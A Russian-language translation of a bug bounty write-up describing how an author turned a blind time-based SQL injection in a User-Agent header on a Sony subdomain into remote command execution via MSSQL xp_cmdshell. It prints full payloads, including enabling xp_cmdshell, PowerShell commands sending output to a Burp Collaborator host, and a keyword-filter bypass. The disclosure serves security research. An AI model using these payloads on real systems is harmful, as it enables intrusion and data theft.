[Перевод] Как я расширил Time-Based SQL Injection до RCE
Тема информационной безопасности и защиты данных крайне актуальна для любого бизнеса, независимо от его размеров и географии. В рамках нашего блога мы решили публиковать заметки зарубежных коллег, основанные на их реальном опыте по теме. Надеемся, что приведенный материал будет вам полезен.
Предисловие
В этой статье я расскажу о своём отчёте, отправленном компании Sony в рамках публичной программы на сайте HackerOne, а также о том, как я преобразовал Blind Time-based SQL Injection в полномасштабное удалённое выполнение команды ОС.
Я вырежу из статьи такие важные подробности, как домены, поддомены, результаты работы команд, мой IP-адрес, IP-адрес сервера и другие.
Этап разведки
Для этапа разведки я использовал sublist3r
для поиска поддоменов нужного мне домена.
Я проверил все поддомены, но ссылки оказались мёртвыми. Расстроившись, я попробовал другие инструменты разведки, например, amass
. Как ни удивительно, результат оказался лучше.
amass
нашёл для меня поддомены, которые нельзя увидеть в простых google-запросах. (Простите, но я не буду показывать скриншоты). Он выявил поддомен вида special.target.com
.
Знакомимся ближе с Target
Перейдя на сайт, я увидел, что это что-то типа панели администратора или страницы для логина сотрудников.
Далее я попробовал классический символ '
для проверки на sql-ошибки. Я ввёл username=123'&password=123'
.
Проверил запросы burpsuite
, и конечная точка вернула мне плодотворную страницу ошибки 500. Почему плодотворную? Разработчики забыли отключить режим отладки (или что-то типа того), и это позволило мне посмотреть запрос целиком с полным путём к файлам.
Конечная точка уязвима к Microsoft SQL Injection.
Сам эксплойт
Я попробовал простые булевы SQL-инъекции с параметром username
, но безуспешно. В ответ на любую полезную нагрузку я получал ошибки. Повторно изучив ошибку запроса, я осознал, что базе данных передаётся мой User-Agent Header. Я добавил к своему user-agent одну кавычку и комментарий ‘--
, и наконец получил обычную корректную страницу.
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36'--
Хороший признак того, что сервер выполняет вводимые пользователем команды. Затем я проверил возможность time-based SQL injection, чтобы узнать, можно ли помещать запросы в стек.
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36';WAITFOR DELAY ‘00:00:05’;--
Ответ был отложен примерно на 5 секунд.
Это подтверждает, что мы можем помещать SQL-запросы в стек и выполнять инъекции любых нужных нам команд.
Расширение SQL-инъекции до RCE
Так как теперь мы знаем, что можем помещать запросы в стек, нужно найти способ исполнять здесь команды ОС. В отличие от MySQL, в MSSQL есть способ исполнения команд. Я воспользовался информацией из статьи Прашанта Кумара.
Выяснилось, что можно исполнять команды ОС при помощи xp_cmdshell
, поэтому я включил на сервере xp_cmdshell
.
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36'; EXEC sp_configure ‘show advanced options’, 1; RECONFIGURE; EXEC sp_configure ‘xp_cmdshell’, 1; RECONFIGURE;--
Затем я при помощи ping
протестировал возможность слепого RCE
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36'; EXEC xp_cmdshell 'ping myburpcollablink.burpcollaborator.net';--
Отлично! Доступ к Burpsuite Collaborator Client был выполнен. Это подтверждает, что мы можем выполнять RCE.
В отличие от Прашанта Кумара, я не стал сохранять результаты выполнения команд в базу данных и создал неразрушительный способ считывания результатов выполнения команд ОС.
Я присвоил значение вывода переменной в powershell
и отправлял их в свой BurpCollaborator при помощи curl
.
Это работает так:
powershell -c "$x = whoami; curl http://my-burp-link.burpcollaborator.net/get?output=$x”
Команда получает результаты выполнения whoami
и отправляет их по моей ссылке burpcollab
Готовая полезная нагрузка RCE выглядит так:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36';EXEC xp_cmdshell ‘powershell -c "$x = whoami; curl http://my-burp-link.burpcollaborator.net/get?output=$x"';--
Результаты выполнения команды отправляются мне.
Также мне удалось извлечь информацию о метаданных инстансов AWS EC2, просмотреть серверные файлы и многое другое.
Обходим «исправление»
Спустя несколько дней Sony сообщила мне, что развернула патч. Я попробовал запустить свою старую полезную нагрузку, но её заблокировал файрвол. Я увидел, что компания поместила в фильтр ключевое слово EXEC xp_cmdshell
.
Я обошёл фильтр, объявив переменную @x
со значением xp_cmdshell
и запустив команду вида EXEC @x
‘; DECLARE @x AS VARCHAR(100)=’xp_cmdshell’; EXEC @x ‘ping k7s3rpqn8ti91kvy0h44pre35ublza.burpcollaborator.net’ —
Хроника событий
- 14 сентября 2021 года → отправлен первый отчёт
- 16 сентября 2021 года → отчёт проверен Hackerone
- 21 сентября 2021 года → развёрнут первый патч (я его обошёл)
- 23 сентября 2021 года → развёрнут ещё один патч (я его снова обошёл)
- 26 сентября 2021 года → развёрнут окончательный патч
- 27 сентября 2021 года → уязвимость помечена как устранённая, выплачено вознаграждение.
P.S. Команда М.Видер-Эльдорадо ждет в своих рядах талантливых разработчиков. Перечень актуальных вакансий по ссылке. Приходите, будет интересно.